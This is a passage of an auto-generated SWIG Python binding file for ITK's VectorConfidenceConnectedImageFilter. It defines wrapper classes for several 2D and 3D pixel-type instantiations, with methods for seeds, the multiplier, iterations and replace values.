itkVectorConfidenceConnectedImageFilterICVF42IUC2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF42IUC2)
itkVectorConfidenceConnectedImageFilterICVF42IUC2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_swigregister
itkVectorConfidenceConnectedImageFilterICVF42IUC2_swigregister(itkVectorConfidenceConnectedImageFilterICVF42IUC2)
def itkVectorConfidenceConnectedImageFilterICVF42IUC2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF42IUC2_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF42IUC2___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF42IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF42IUC2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF42IUC2 *":
"""itkVectorConfidenceConnectedImageFilterICVF42IUC2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF42IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUC2_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF42IUS2(itkImageToImageFilterBPython.itkImageToImageFilterICVF42IUS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF42IUS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF42IUS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF42IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF42IUS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self) -> itkVectorConfidenceConnectedImageFilterICVF42IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF42IUS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF42IUS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF42IUS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF42IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF42IUS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF42IUS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF42IUS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF42IUS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF42IUS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_Clone, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF42IUS2)
itkVectorConfidenceConnectedImageFilterICVF42IUS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_swigregister
itkVectorConfidenceConnectedImageFilterICVF42IUS2_swigregister(itkVectorConfidenceConnectedImageFilterICVF42IUS2)
def itkVectorConfidenceConnectedImageFilterICVF42IUS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF42IUS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF42IUS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF42IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF42IUS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF42IUS2 *":
"""itkVectorConfidenceConnectedImageFilterICVF42IUS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF42IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF42IUS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF43ISS3(itkImageToImageFilterBPython.itkImageToImageFilterICVF43ISS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF43ISS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF43ISS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF43ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF43ISS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self) -> itkVectorConfidenceConnectedImageFilterICVF43ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF43ISS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF43ISS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF43ISS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF43ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF43ISS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF43ISS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF43ISS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF43ISS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF43ISS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_Clone, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF43ISS3)
itkVectorConfidenceConnectedImageFilterICVF43ISS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_swigregister
itkVectorConfidenceConnectedImageFilterICVF43ISS3_swigregister(itkVectorConfidenceConnectedImageFilterICVF43ISS3)
def itkVectorConfidenceConnectedImageFilterICVF43ISS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF43ISS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF43ISS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF43ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF43ISS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF43ISS3 *":
"""itkVectorConfidenceConnectedImageFilterICVF43ISS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF43ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43ISS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF43IUC3(itkImageToImageFilterBPython.itkImageToImageFilterICVF43IUC3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF43IUC3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF43IUC3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF43IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF43IUC3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self) -> itkVectorConfidenceConnectedImageFilterICVF43IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF43IUC3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF43IUC3 self)"""
